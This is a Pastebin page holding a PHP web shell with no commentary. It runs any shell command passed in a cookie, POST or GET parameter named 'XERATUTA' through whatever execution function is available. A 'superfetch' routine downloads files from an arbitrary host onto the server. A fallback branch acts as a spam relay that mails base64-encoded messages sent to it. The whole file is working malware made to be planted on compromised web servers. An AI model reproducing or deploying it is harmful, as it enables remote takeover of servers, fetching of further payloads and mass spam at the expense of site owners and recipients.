Advertisement
Guest User

Untitled

a guest
Apr 19th, 2014
166
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.05 KB | None | 0 0
  1. <?php
  2.  
  3. /// WebShell
  4.  
  5. $n='XERATUTA';
  6. $c=$_COOKIE[$n];
  7. if(@empty($c)){$c=$_POST[$n];}
  8. if(@empty($c)){$c=$_GET[$n];}
  9. if(@get_magic_quotes_gpc()){$c=stripslashes($c);}
  10. if ($c) {
  11. //curl -v --cookie "XERATUTA=w" URL
  12. //adjust system variables
  13. if(!@isset($_SERVER)){$_COOKIE=&$HTTP_COOKIE_VARS;$_POST=&$HTTP_POST_VARS;$_GET=&$HTTP_GET_VARS;}
  14. //die with error
  15. function x_die($m){@header('HTTP/1.1 500 '.$m);@die();}
  16. //check if we can exec
  17. define('has_passthru',@function_exists('passthru'));
  18. define('has_system',@function_exists('system'));
  19. define('has_shell_exec',@function_exists('shell_exec'));
  20. define('has_popen',@function_exists('popen'));
  21. define('has_proc_open',@function_exists('proc_open'));
  22. define('has_exec',@function_exists('exec'));
  23. define('can_exec',(has_passthru||has_system||has_shell_exec||has_popen||has_proc_open||has_exec));
  24. if(!can_exec){x_die('can not exec: no functions available');}
  25. //check if we can config
  26. define('has_ini_get',@function_exists('ini_get'));
  27. define('has_ini_get_all',@function_exists('ini_get_all'));
  28. define('can_config',(has_ini_get||has_ini_get_all));
  29. if(!can_config){x_die('can not config');}
  30. //get config value
  31. function x_ini_get($n){if(has_ini_get){return(@ini_get($n));}elseif(has_ini_get_all){$h=@ini_get_all();return($h[$n]['local_value']);}}
  32. // check safe mode
  33. if(x_ini_get('safe_mode')){x_die('can not exec: safe mode active');}
  34. //smart exec helpers
  35. function x_passthru($c){@passthru($c);}
  36. function x_system($c){@system($c);}
  37. function x_shell_exec($c){echo @shell_exec($c);}
  38. function x_popen($c){$o;if(($f=@popen($c,'r'))){while(!@feof($f)){$o.=@fgets($f);}@pclose($f);}echo $o;}
  39. function x_proc_open($c){$o;if(@is_resource($p=@proc_open($c,array(0=>array('pipe','r'),1=>array('pipe','w'),2=>array('pipe','w')),$f))){@fclose($f[0]);while(!@feof($f[1])){$o.=@fgets($f[1]);}@fclose($f[1]);@proc_close($p);}echo $o;}
  40. function x_exec($c){$o;@exec($c,$o);echo @implode("\n",$o);}
  41. //do smart fetch
  42. function x_superfetch($a,$p,$r,$l)
  43. {
  44. if($s=@fsockopen($a,$p))
  45. {
  46. if($f=@fopen($l,"wb"))
  47. {
  48. @fwrite($s,"GET ".$r." HTTP/1.0\r\n\r\n");
  49. while(!@feof($s))
  50. {
  51. $b=@fread($s,8192);
  52. @fwrite($f,$b);
  53. }
  54. @fclose($f);
  55. echo "OK\n";
  56. }
  57. @fclose($s);
  58. }
  59. }
  60. //do smart exec
  61. function x_smart_exec($c)
  62. {
  63. if($c==="which superfetch 1> /dev/null 2> /dev/null && echo OK")
  64. {
  65. echo "OK\n";
  66. }
  67. elseif(@strstr($c,"superfetch"))
  68. {
  69. $a=@explode(' ',$c);
  70. x_superfetch($a[1],$a[2],$a[3],$a[4]);
  71. }
  72. elseif(has_passthru){x_passthru($c);}
  73. elseif(has_system){x_system($c);}
  74. elseif(has_shell_exec){x_shell_exec($c);}
  75. elseif(has_popen){x_popen($c);}
  76. elseif(has_proc_open){x_proc_open($c);}
  77. elseif(has_exec){x_exec($c);}
  78. }
  79. //go
  80. $n='XERATUTA';
  81. $c=$_COOKIE[$n];
  82. if(@empty($c)){$c=$_POST[$n];}
  83. if(@empty($c)){$c=$_GET[$n];}
  84. if(@get_magic_quotes_gpc()){$c=stripslashes($c);}
  85. if ($c) x_smart_exec($c);
  86.  
  87.  
  88. } else {
  89.  
  90. //########## AMS ############
  91.  
  92. if(isset($_POST["mailto"]))
  93. $MailTo = base64_decode($_POST["mailto"]);
  94. else
  95. {
  96. echo "indata_error";
  97. exit;
  98. }
  99. if(isset($_POST["msgheader"]))
  100. $MessageHeader = base64_decode($_POST["msgheader"]);
  101. else
  102. {
  103. echo "indata_error";
  104. exit;
  105. }
  106. if(isset($_POST["msgbody"]))
  107. $MessageBody = base64_decode($_POST["msgbody"]);
  108. else
  109. {
  110. echo "indata_error";
  111. exit;
  112. }
  113. if(isset($_POST["msgsubject"]))
  114. $MessageSubject = base64_decode($_POST["msgsubject"]);
  115. else
  116. {
  117. echo "indata_error";
  118. exit;
  119. }
  120. if(mail($MailTo,$MessageSubject,$MessageBody,$MessageHeader)) {
  121. echo "sent_ok";
  122. }
  123. else {
  124. echo "sent_error";
  125. }
  126.  
  127. }
  128. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement